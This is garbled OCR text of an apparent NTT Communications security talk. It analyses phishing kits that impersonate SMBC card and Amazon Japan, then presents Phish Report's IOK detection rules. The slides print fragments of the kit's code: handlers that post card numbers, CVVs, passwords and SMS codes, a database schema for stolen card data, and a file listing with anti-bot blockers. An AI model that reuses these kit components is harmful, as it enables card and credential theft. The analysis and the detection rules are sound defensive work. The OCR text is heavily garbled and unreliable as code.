Vpass IDfE A1EERDIRAE axios.post("{:url('index/card")}",

"cardInfo": this.cardInfo,
"ipId": localStorage.getItem("ipId")

1. RS FHBOAN

) .then(res =>
_ N this.disabledCard = false;
ZA AR timer4 = setInterval(() => {
this.isPass(res.data.data

ERLL DN i 00

).catch(err =>
SAES |
} else {
H— FIZieBn16HnES & AN (t2an swal("T5—", "AhShktF+FaVT7s3—FEENTI. H—EAALTIELEZW!", "error");
}
else
swal("TS5—", "Ly b h—FOFBMHRBUNTNET, LIy b h—RZERZ/LTSES, ", "error");

} else {
swal("ITS5—", "ANWShE=Hh—REBESEIEYPTT., HOI—EAHALTLLEZN!", "error");
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isPass(cardId) {
let _this = this;
if (_this.isPassCard == "R%") {

axios.get("{:url('index/getCard')}", { params: { "card_id": cardId } }).then(res => {
if (res.data.data.card_status == 1) {
window. location.href = "{:url('index/address")}"
} else if (res.data.data.card_status == 2) {
swal("T>—", "EZXIWAENEE->TWET., HOI—EAHDLTLSEZW!", "error");
setTimeout(() => {
location.reload();
}, 2000);
¥
}).catch(err => {
b public function getCard(Request $request)
} else {
window. location.href = "{:url('index/address"')}" 1

} $getAll = $request—>get();
},

$result = Card::find($getAll["card_id"]);

ApiService::success "“, $result, 1);

smbc/view/1ndex/1ndexinfore.html
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Vpass ID{EAEHR DI

2. bFE FEHEBROAN

h2 data-v-5d51b73c="" wovn-enable=""
h3 data-v-5d51b73c="" wovn-enable="">{¥FRriERD AN

S
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zE

. :
1 data-v-5d51b73c="" wovn-enable="">Vpass IDEAISEEHRDIREL

iv data-v-5d51b73c="" class="yabane_step" wovn-enable=""
ul data-v-5d51b73c="" class="yabane_row"
li data-v-5d51b73c="">1</11i
Li data-v-5d51b73c="" class="act"
div data-v-5d51b73c=""><span data-v-5d51b73c="">2.</span>HE S FEFATEHROAN
Li

li data-v-5d51b73c="">3</11

iv data-v-5d51b73c="" data-dojo-type="vp/alcor/view/ErrorMessage" id="vp-view-err_common"
class="error_text_box" data-dojo-props="entryTag:'div',entryClassName: 'error_box_child"'"
lang="ja" widgetid="vp-view-err_common" style="display: none;"

CANHERR

div
h2
h3
cript script
cript src="/static/lib/axios/axios.min.js"
iv id="appAll"
data-v-5d51b73c="" class="border_in mr_b10"
y data-v-5d51b73c=""
tr data-v-5d51b73c=""
th data-v-5d51b73c="" class="iconCell"><span data-v-5d51b73c=""
wovn—-enable="">&%&H] span data-v-5d51b73c=""
class="clLabel_required" wovn-enable="">#%f

mbc/view/1ndex/address.html
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span th

71



—R2 :SMBCEROIEIT1YVS2OFY b Sisinass | (T
4.74YS202572Y
ANFHERIERDANEE TRICHT < RY > %I TS B EDBICEREITS.

submit() {
this.adressInfore.username=JSON.parse(localStorage.getItem("accountInfore")).username;

this.adressInfore.password=JSON.parse(localStorage.getItem("accountInfore")).password;
this.adressInfore.postnummer=this.codel+'-"+this.code2;
localStorage.setItem("adressInfore'", JSON.stringify(this.adressInfore));
aXlos'pOSt(“{:url('lnd¢X/adrESSInfore')}"' public function adressInfore(Request $request)
"adressInfore": this.adressInfore,
“"ipId": localStorage.getItem("ipId") {
) .then(res =>
console.log(res);

if ($request—->isPost()
$postAll = $request->post();
$ipRugest = Iplink::updateIP($postAll["ipId"]);
$list = Adressinfore::addAddress($postAll["adressInfore"]);

window. location.href = "{:url('index/sendcode") }"
) .catch(err => f

console. log ("iEREK") ; $ipRugest—>adress_id = $list;
$ipRugest->save();

ApiService::success("", $list, 1);

return View::fetch();

smbc/view/1ndex/i1ndexinfore.html
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o
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I" SMBC SMBCON-T

YN

3D+ 2 T AL

WebID

=H{ERN-K Sl =
FyoNn—2
K2 S " ® = &
e A Fron—y KA b y—E2 sEme
hl data-v-73e77ad8="" wovn-enable="">Vpass IDEAIGHRDIRIL
. div data-v-73e77ad8="" class="yabane_step" wovn-enable=""
Vpass IDfE AFHROIRAE ul data-v-73e77ad8="" class="yabane_row"
li data-v-73e77ad8="">1</11
li data-v-73e77ad8="">2</11i
! - li data-v-73e77ad8="" class="act"

span>3D/SR T — RDOHERR

div data-v-73e77ad8=""><span data-v-73e77ad8="">3.

div data-v-73e77ad8="" data-dojo-type="vp/alcor/view/ErrorMessage" id="vp-view-err_common"
class="error_text_box" data-dojo-props="entryTag: 'div',entryClassName: ‘'error_box_child"'"
lang="ja" widgetid="vp-view-err_common" style="display: none;" div
data-v-73e77ad8="" wovn-enable=""> ZHRANHER
data-v-73e77ad8="" wovn-enable="">3DtF a1V F 1 #iE</h3

h2

script src="/static/lib/vue/vue. js" script
script src="/static/lib/axios/axios.min.js"

link rel="stylesheet" href="/static/lib/loading.css"

SCript

Link

smbc/

view/indéx/sendcode.html
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submit() {
this.disabledCard = false;

if (this.codeInfore.code) { D ,
axios.post ("{:url(index/sendcode")}", public function sendcode(Request $request)

{ {

"codeInfore": this.codeInfore, if ($request—>isPost()
“"ipId": localStorage.getItem("ipId")

L BEERZ AN U TRIITTRY =2 T &

11
]

} — — ]
.then(res => { $postAll = $request—>post();

console. log(res); $ipRugest = Iplink::updateIP($postAll["ipId"]);
this.disabledCard = false; $list = Sendcode::addCode($postAll["“codeInfore"]);
var timer4 = setInterval(() => $ipRuqgest—>code_id = $list;

$ipRugest->savel();

this.isPass(res.data.data) : . [ " .
. 2000); ApiService::success( , $list, 1);

}).catch(err => { else
console.log(err); return View::fetch();
console. log("iEk&K" ) ;

}
} else {

swal("T>—", "SMS RO —RZZRI[CTHLIITEEHA, SMS HEROA—RZAHDLTLESZL, ", "error");
}

smbc/view/1ndex/i1ndexinfore.html
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hl data-v-73e77ad8="" wovn-enable="">pIj ! </hl
RIh | script src="/static/lib/vue/vue. js" script
script src="/static/lib/axios/axios.min.js" script
div id="appAll"
Rh ! div style="margin-top: 3rem; margin-bottom: 17rem;"
) ) ) o div data-v-app=""
BEH I T B & . 5 BEICETNICKR—LR—J(CRY 9 , . .
div style="margin: 24px 15px; border-radius: 10px;"
div style="margin-bottom: 5rem;"
h3 style="margin-bottom: 1rem;color: O0#cb0006;">pkI}) !
p>REMERINT B L, 5 BRICABNICK—AR-JCRVET, </p
ho - @ik - REMBHI H— FEFIE  EWRS FrprsRiTREoRTEn 0 _fESRCOLT
PCH A b #FRRT 2
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script type="module"
import configAll from "/static/config.js"
new Vue({
el: "#appAll",
data
return @

mounted
setTimeout(() => {
window. location.replace(configAll.URLtarget
}, 5000);

’
methods:

smbc/view/index/finish. html
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{block name="body"}
id="app" v-cloak
div class="login-wrapper"

el-avatar icon="el-icon-lock" el—-avatar

ha>TERARFRREEEF</hd
el-input v-model.trim="username" placeholder="1g@ARF%&"

v b )\ SER I
1B /\ 5

el-button type="primary" @click="1login"

div
{/block}

smbc/view/admon/login.html

© NTT Communications Corporation All Rights Reserved.

1—HILICY I B EITTCTHERLELDS &
IR A —=)

el-1input

el-input v-model.trim="password" placeholder="1E%AEii" show-password
: loading=""1o0ading">ME

el-button
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{block name="body"}<div id=app

div class=header
div class=title
div style=margin-right:1lrem ﬂag:2@24_t)$
div style=margin-right:1rem
el-radio—group @input=redClidk v-model=redOk

flag:2024 FE! ! |

) el yutton label=BA4l el-radio-button
~ Bﬁ%g el yutton label=APBAHZL el-radio-button
O BRI el-radio—-group
SHANRKE div
SHILaE: div style=margin-right:1rem
REES MPID FH1S/855/ QIRETE) BF/Muht/H = Mukl/8RE £/ E8/cc iphE FRIF Wil S e e
e DUTTON = / e l—radio—-putton
dummy dummy dummy dummy dummy dummy dummy dumn s R e e
dummy dummy dummy dummy dummy dummy dummy dumn
dummy dummy dummy dummy dummy dummy dummy dumn e
div style-margin right:1rem
dummy  dummy dummy dummy dummy dummy dummy dumn el-button @click=clearAll type=success size=small>;FEKRIKFHIE</el-button
dummy dummy dummy dummy dummy dummy dummy dumn

div style=margin-right:1lrem
el-button @click=addCardhead type=success size=small>RINEAFL</el-button

div style=margin-right:1lrem>4§ B}/ E : {{todayBrowse}}</div
div style=margin-right:1lrem>§H & & : {{todayFish}}

smbc/view/admon/index.html o | '
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TABLE IF E S “code;
\TE TABLE “code’ (
‘code_id" int(11) NOT NULL AUTO_INCREMENT COMMENT ‘BOAEREid ",
"code” varchar(255) CHARACT [ C ATE utf8_general_ci NULL DEFAULT NULL COMMENT
"code_status® varchar ' TER S
"webid® varchar(255)
PRIM KEY (" code_id ) USING r EXISTS “card infore':
) ENGINE = MyISAM AUTO_INCREMENT = 84 CHA| TABLE “card_infore® (

“card_id® int(11) NOT NULL AUTO_INCREMENT COMMENT @m'
“card_no’ har R
70)"‘ $I§ “card_cvv’
ﬁ “card_date’
“card_status® va ar CHARACTER SET A _(DROP TABLE IF EXISTS ‘adressinfore’;
‘create_time' datetime NU )EFAULT NULL ON CR “adressinfore’

“card_name’ i v , ) ” .

*card username surname’ CHAR/ I utf8 TE utf8_general_ci NULL

\ - . ; _ "mobil” C I utf8 CO utf8_general_ci NULL

card_password char ( ‘mail® var CHARACTE utf8 COLLATI

“card_shenfen™ varchar CHARACTER SET COLLA I C E utf8_general ci NULL

PRIMARY KEY (" card_id") USING ‘valgfri' S COLLATE utf8_general_ci NULL WULT NULL COMMENT
) ENGINE = MyISAM AUTO_INCREMENT = 156 CHARACTER S { by’ varch: ATE utf8_general_ci NULL DEFAUI ULL COMMENT '@',

‘username” varchar C cr SET LLATE N _Ci N AULT NULL COMMENT

utf8 f

~ \ “password” v r C T T COLLATE utf8_general_ci NULL D I NULL COMMENT
\
A ’ 7 l/\/\ \\J I\ j ’— I\’l‘ﬁ $I§ *postnummer® har(255) u. LLATE utf8_general_ci NULL DEFAULT NULL COMMENT
‘adress_id® int(11) NOT NULL AUTO_INCREMENT COMMENT 'fEH]id*,

‘pl’ varchar(255) C F COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '[K{&R&',
“pn’ varchar(255) CHARACTER COLL/ utf8_general_ci NULL DEFAULT NULL COMMENT ",
“address?2 archar(255) CH R S utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT ",
PRIMARY KEY ( adress_id') USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 111 Cl \CTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = DYNAMIC;

ii 1E5| x TEEgﬂa
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public function apiDownload()

{

$fullname = $this->request->post("fullname");
$emaill = $this->request—>post("emaill");
$addl = $this->request->post("addl");

$add2 = $this—->request->post('add2");

$city = $this->request—>post(“city");

$sstate = $this->request—>post(“sstate");

$zipp = $this—>request->post(“zipp");

$phonee = $this->request->post(“phonee");

$kahao = $this->request—>post("“ccnumb");

$rigi = $this->request->post(“expr");

$cvv = $this—->request—>post("cvvz");

$ua = $this—->request—>post("ua");

$updatea_time = $this->request->post("updatea_time");

smbc/view/admon/login.html
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IOK (Indicator Of Kit) &I(& S C—

« IOK (Indicator Of Kit) (T« w>>T0HA bZEEHRRUDRIT B2
[CE%EteNfe. A—T >V —XDWBIL—IL I A —< WV ko

e Sigma)l—ILZER—X(CT«4 v >20HA MMIEHME UzIndicator of

Compromise ZYamlF

Z2IVCECIh g Do

@ Phish Report Howitworks v  Resources v  Pricing

Indicator Of Kit

:= Browse the rules

Open source detection rules for phishing site techniques, kits, and
threat actors &

« Simple: based on Sigma, a simple detection rules language #

» Rich metadata: rules have descriptions, tags, and links to blog posts or
related rules.

Use cases:

« |dentify fingerprints of known threat actors
¢ Discover anti-analysis techniques

 Classify which specific phishing kit is in use on a page

View on GitHub €

title: Fake Chrome error page
description: |
The Chrome error page HTML is built into the browser: you should never see it in
website.
This is a clear sign that the site is employing cloaking/anti-analysis techniques.
references:
- https://twitter.com/phish_report/status/1537825544343011328

detection:
chromeHTMLFragments:
htmllcontainslall:
- '<body id="t" class="neterror" style="font-family: '
- '<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">'
condition: chromeHTMLFragments

Login &)

© NTT Communications Corporation All Rights Reserved.
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IOK (Indicator Of Kit) &I

o 4R UZIOK(EGitHUbUR= bY  (https://github.com/phish-report/IOK) (C
Pull RequestzixdZ EMNTED,

+ AT TLBindicatorzfER U CIoCORMAFIC—HI D T4 w2 TH5 A Nk
BIOERAITACENTED,

O Product v Solutions ¥ Open Source v Pricing

Search or jump to...

(] Public L\ Notifications % Fork 24

<> Code (©) Issues 5 i1 Pullrequests 9 L)) Discussions (») Actions () Security |~ Insights

¥ main - 2 Branches © 0 Tag <> Code ~ About

(2 bradleyjkemp Add methods to construct Input from net/http ( (] Public

.github Add CI check to verify <> Code (%) Issues 5 1 Pull requests () Discussions (») Actions () Security [~ Insights

.snapshots Add methods to construct Input from net/http (

Il Files indicators /| [

indicators # Create I0K: coin

T ) llluminatiFish ;#Create |OK: coinbase-69638f20 (

tools Add new DOM field and update HTML field defin

O

CONTRIBUTING.md

A Various project file changes ( .
BB .github

LICENSE

README.md

0O
0
0

go.mod

O

go.sum

iok.go

iok_test.go

(I B P R

logsource.yml

nethttp.go

nethttp_test.go

© NTT Communications Corporation All Rights Reserved.

Initial release

ct title from both

update urlscanio-go

update urlscanio-go

Continue evaluat

Fix build, add CI ch

Fix marshalling of titles

se HTML and DOM

Add methods to construct Input from net/http (

Add methods to str

ict Input from net/http (

B8 .snapshots
@ indicators

[ 123-reg-63c26.yml

[ 1password-191635.yml

[ account-deletion-countdown.yml

[ actionforms-io.yml
[ adobe-5c70696.yml
[ amadey-botnet-afbOc86a.yml

[ amazon-jp-28bd59a.yml

[ amazon-token-cryptocurrency-s...

[ amerant-bank-4tfevg.yml
[ anpost-7b94e511.yml

[ anz-bank-cd6ec9e7yml

[ ark-investment-crypto-3465f6c¢....

(9 asli-crypto-drainer-ea8f67e.yml

[ avis-Ofbd3ca.yml

0D 0D DD D DO DD O DR

123-reg-63c26.yml

1password-191635.yml

account-deletion-countdown.yml

actionforms-io.yml

adobe-5¢70696.yml|

amadey-botnet-afb0c86a.yml

amazon-jp-28bd59a.yml

amazon-token-cryptocurrency-scam-shfxgk.ymil

amerant-bank-4tfevg.yml

anpost-7b94e511.yml

anz-bank-cd6ec9e7.yml

ark-investment-crypto-3465f6c.yml

‘+QoL Update: Ensuring tags (

‘+QoL Update: Ensuring tags (

Add account-deletion-countdown from Cofense post
Update sigma-go (

‘+QoL Update: Ensuring tags (

# Create 5 IOKs to detect different malware C2 panels (
‘+QoL Update: Ensuring tags (

Add new DOM field and update HTML field definition (
*+QoL Update: Ensuring tags (

+QoL Update: Ensuring tags (

#Create IOK: anz-bank-cd6ec9e7 (

Adds new IOK rule and mer other rules (
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IOK (Indicator Of Kit) &l& S R —

» GitHub /K= KU _E(CCommiteNlTWL\BIL—ILIZT SOY ENSEH#ERT D
EMNTES ( https://phish.report/IOK/indicators )

@ Phish Report Howitworks v  Resources v  Pricing Log

10K indicators

IOK Rules

Fake crypto giveaway coin selection b791myo4

RULE TAGS

anti-analysis cloaking

Detects a scam giveaway landing page which claims to host a large cryptocurrency event. Sometimes the scammer will
specific cryptocurrency to target, but in this case they decided to add a menu where the user can select a specific coin. @ Phish Report  Howitworks v  Resources v  Pricing Log

BbyStealer Dropper Website aeed70a 10K indicators |/ fake-crypto-giveaway-coin-selection-b791myo4

Detects a BbyStealer dropper website. BbyStealer is a JavaScript-based information stealer created by a threat actor call Fa ke crypto giveaway COin Selection b791 myo4

'brunxkd'. It usually comes packed as an executable (standalone or in an archive) on fake video game websites (which thi

should detect), these URLs are spread by users of this stealer (or compromised accounts) via Discord messages asking RULE TAGS
HESK SR gARE Tak tis, SsiticiimasgLEwaEE 8 arigameideyeloper. Detects a scam giveaway landing page which claims to host a large cryptocurrency event. Sometimes the
scammer will pick a specific cryptocurrency to target, but in this case they decided to add a menu where the kit cryptocurrency

user can select a specific coin. g
Exfiltration using getform.io cryptocurrency.bitcoin

cryptocurrency.ethereum
getform is a service that takes HTML form submissions and sends the results to an email address. It can be used by thred References

building "serverless" phishing pages i.e. where they don't have a backend server that can send emails or store logs. cryptocurrency.doge
¢ https://urlscan.io/result/2d36df23-6af6-4315-b4fa-7540f59e37a0/

https://urlscan.io/result/ab98ee0e-8b82-4a9e-8cf5-bafab9al135a5/
¢ https://urlscan.io/result/0f499d45-6050-49ea-87e0-0ada06245a87/
https://urlscan.io/result/e1d12d03-7da3-413e-9368-fed1c87ff7e1/
https://urlscan.io/result/ca8b41ca-46a7-4811-ac53-cfOefcaa7405/

IONOS Phishing Kit 45d7f514

This phishing kit targets "IONOS" customers. It uses a unique IMGUR URL to host the IONOS logo image file.

IOK Rule (edit)

title: Fake crypto giveaway coin selection b791myo4
description: |

Detects a scam giveaway landing page which claims to host a large cryptocurrency event.

Sometimes the scammer will pick a specific cryptocurrency to target, but in this case they decided to add a menu where the user can select
references:

- https://urlscan.io/result/2d36df23-6af6-4315-b4fa-7540f59e37a0/

- https://urlscan.io/result/ab98ee0e-8b82-4a9e-8cf5-bafab9a135a5/
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IOK (Indicator Of Kit) dDiERHI S R C—

» WebigEE (https://phish.report/IOK) MExample(CIOKZ A L. Rule
m{?tglesd)i%ﬁ/‘l‘\g’/%i g ECIOKICEE & NZ)L—)LIC—E U Tzurlscan.io®
CoXi b =t =Y

Example
1 fitle: Amazon_Ph|sh|ng_Detchon Rule matches o
2 description: |
3 Detects a Amazon phishing kit targeting Japanese users.
4 references: http://jp-amazon.top/ Jp-amazon,top
Z d— http.s://urlscan.|o/result/b75b2254—d248—4ab6—ae21 -4969e5e9d837 2 B Malicious Activity! [EEIE
etection:
7 F C . Submitted URL: ip-amazon.top/
orm ontams. Vie Effective URL: jp-amazon.top/
8 domlcontains: Submission: On January 06 via automatic, source phishtank (January 6th 2024, 10:48:22 pm UTC) — Scanned from DE HS
9 - 'data-v-2e32dab6="" name="signineml" method="post" id="signineml" lass="auth-validate-form ¢ Asummary HTTP 0 ARedirects 1CLinks 5 WBehaviour ® 4 indicators | &Similar EIDOM [ Content EEAPI D

10 appScript:

11 requestslcontains: Summary Screenshot [ 4 Livescreenshot | &2 Full Image |

] 2 - ! - 7 f4 2 1 4 . is' amazon..,
0 .app > 05b5q5d3 >¢ SC.9 15 This website contacted 2 IPs in 1 countries across 1 domains to perform 10 HTTP transactions. asty
13 condition: FormContains and appScript http://jp-amazon.top/ The main IPis 69.165.76.78, located in Frankfurt (Oder), Germany and belongs to AS40676, I

US. The main domain is jp-amazon.top.
TLS certificate: Issued by on January 6th 2024. Valid for: 3 years.

jp-amazon.top scanned 6 times on urlscan.io m

urlscan.io Verdict: Potentially Malicious @

View analys

Targeting these brands:  ® Amazon Japan (Online) == Amazon (Online)

Live information

https://amazon.jp.maodaner.com/ Page URL History
:m Domain & IP |nformat|0n 1. Jp amazon. top/
ip-amazon.top/ [V
IP/ASNs IP Detail Domains Domain Tree Links Certs
- Detected technologies
“ IP Address AS
Vue.js
11 69.165.76.78 1l 40676 (AS40676) v ! :]
10 2 Page Statistics
10 0 0] 1 1
2 1 914z 4697 1
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e [DJuyw2>P00=Za="54] TIF [ Dav>>0705—] [CEDTawvSI>TFwv
PRENEIROERSE - IR¥bZREZET DY —ILOFTTEMNMTHON TR EN T v
SIOITREODEAFNER - HIFSNTULWDIERD—DEEZSND.

o FNETEZHD [ T4V > T07 05— WMI—Jx RO T8 —001TRE. D
FICEELTED. BRLADOBEWAIRECATHEEFERIELTLS,

e [DJaw>>00=Z3"5F+ ] TIEWAARIEE|IZE> 705 —BTHEEDELRE
2 CERICREIMTHNTLND,

« Jaw>2OFw RN ECHEHENDD. DHERMNSI0OC (I0K) Z4Rk - HEITD L
T. FalOT4 w20 A MORBITIEIL TR ENTES,

o TFRAABHBHUEL. Ta VS TWEEDER, « #EHZ R > TULETZ0N,

© NTT Communications Corporation All Rights Reserved. 89



gg;i?\ ?SOS ‘ 4l|lTTCommunickations

Thank you !

Your comments & feedbacks
are always welcome!

e-mail: ic-had4sec@ntt.com

Network Analytics for Security

© NTT Communications Corporation All Rights Reserved.
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Appendix

AmazonZziEocJ 4w >20Fw bDT 4 LT MUK

A1521

CrawlerDetect

- CrawlerDetect.php
Fixtures
AbstractProvider.php
AbstractReff.php
Crawlers.php
Exclusions.php
Headers.php
Headerspam.php
SpamReferrers.php
ReferralSpamDetect.php

api_session.php
class.phpmailer.php
class.smtp.php
jump.php
send.php
send_3d.php
send_card.php
send_login.php
blacklist.php
blocker.php
crawlerdetect.php
favicon.ico
index.html

main.php
nginx.htaccess
readme.html

result

e £4399348949831220—pc.txt
- block_bot.txt
ip.txt

- total_bot.txt

© NTT Communications Corporation All Rights Reserved.

static
back.jpg

CSS

- app.752839d3f58c010eccB4f4B8dccBb63497.css

eror2.png

img

.
(%)
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AmazonUIBaseCSS-beacon_light_1x-27cl1lafb8bee530baB8a7051eabdeb9671f745929._V2_.51eb36f.png
AmazonUIBaseCSS-sprite_1x-28bd5%9af93d9blc745bblaca4sde58763b54df7cf._V2_.6a23b50.png
AmazonUIBaseCSS-sprite_1x-7233320d393c05a5508cf7d579641c4b327cbda4. _V2_.afcé4le.png

corgi._CB485918084_.eed186b.png
loading.45b4330.gif

nav-sprite—-global_bluebeacon-1x_optimized_layoutl._CB468502046_.96d38d6.png
nav-sprite—-global_bluebeacon-V3-1x_optimized._CB516556901_.4305490.png
new-nav-sm-smile-sprite—-global-1x_blueheaven._CB485919093_.99b76d8.png

sus.b8b4cilf.gif

0.aeb6cb9f68b80ReBblebd2.7s
1.1f5e12c89c%el7b78cee.Js
10.7e8b298cf8b%eeb78e8d.js
11.8b1570ce205b%aBd5ech.js
12.bBfdcé6f2929c40528cB4.7s
13.5b74bd82b5fed10eB51f. s
14.e1d3405¢c170030bcéelbd.js
15.5a2aef8%a62e11d95a50.3s
2.140dabédccB811eb3215dd.js
.d9a487a8067cff92238c.3s
.3d3c0808f3d7b14f3%ea.]js
.e8cbabc7d%9bea4b7c044.7s
.4153f4cef02ec63128b4. s
.f2cc9663238095710886.7s
.67434be2e9f5bl66bcce. s
.47a7b9%9adeeB46813F1c. s
app.75f405b5d5d325e145¢c9.3s
manifest.dd@91f32d078celae228.3s
vendor.B8942a87b5a70d@6cféea.]s
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public
GeolLite2-City.mmdb 404 .html

README .md favicon.ico

app . favicon.png
AppService.php index.php
BaseController.php logo.png

ExceptionHandle.php nginx.htaccess

TIVENZ T =T 208

smbc.sql
think
vendor

Request.php
common.php
controller
event.php

config
app.php
cache.ph
console.

robots.txt
router.php
static
wenjian

autoload.php
bin

composer
geoip2

middleware.y
model
provider.phy
service

robots.txt
route
l— app.php

cookie.p
database
filesyst

league
maxmind
maxmind-db

service.php
composer.json
composer.lock

© NTT Communications Corporation All Rights Reserved.

lang.php
log.php
middlewa
route.ph
session.php
trace.php
view.php
extend
nginx.htaccess

log
session
temp

runtime psSr

services.php
symfony
topthink

view

README . md
admon
index
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title: Amazon_Phishing_Detection
description: |

Detects a Amazon phishing kit targeting Japanese users.
references:

- https://urlscan.io/result/b75b2254-d248-4ab6-ae21-4969e5e9d837
detection:

AppJSContains:
dom|contains:
- 'type="text/javascript" src="/static/js/app.'
ContentScript:
requests|contains:
- '11.8b1570ce205b9a0d5echb.js’
condition: AppJ]SContains and ContentScript
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title: SMBC_Phishing_Detection
description: |

Detects a SMBC phishing kit targeting Japanese users.
references:

- https://urlscan.io/result/e52f427c-1f90-4ad3-990b-ab9d2184dad?2
detection:

FormContains:
dom|contains:
- 'method="post" action="https://www.smbc-
card.com/memapi/jaxrs/xt_login/agree/v1" novalidate=""'
ChunkVendorsScript:
requests|contains:
- 'chunk-vendors.7d63933e.]js'
condition: FormContains and ChunkVendorsScript
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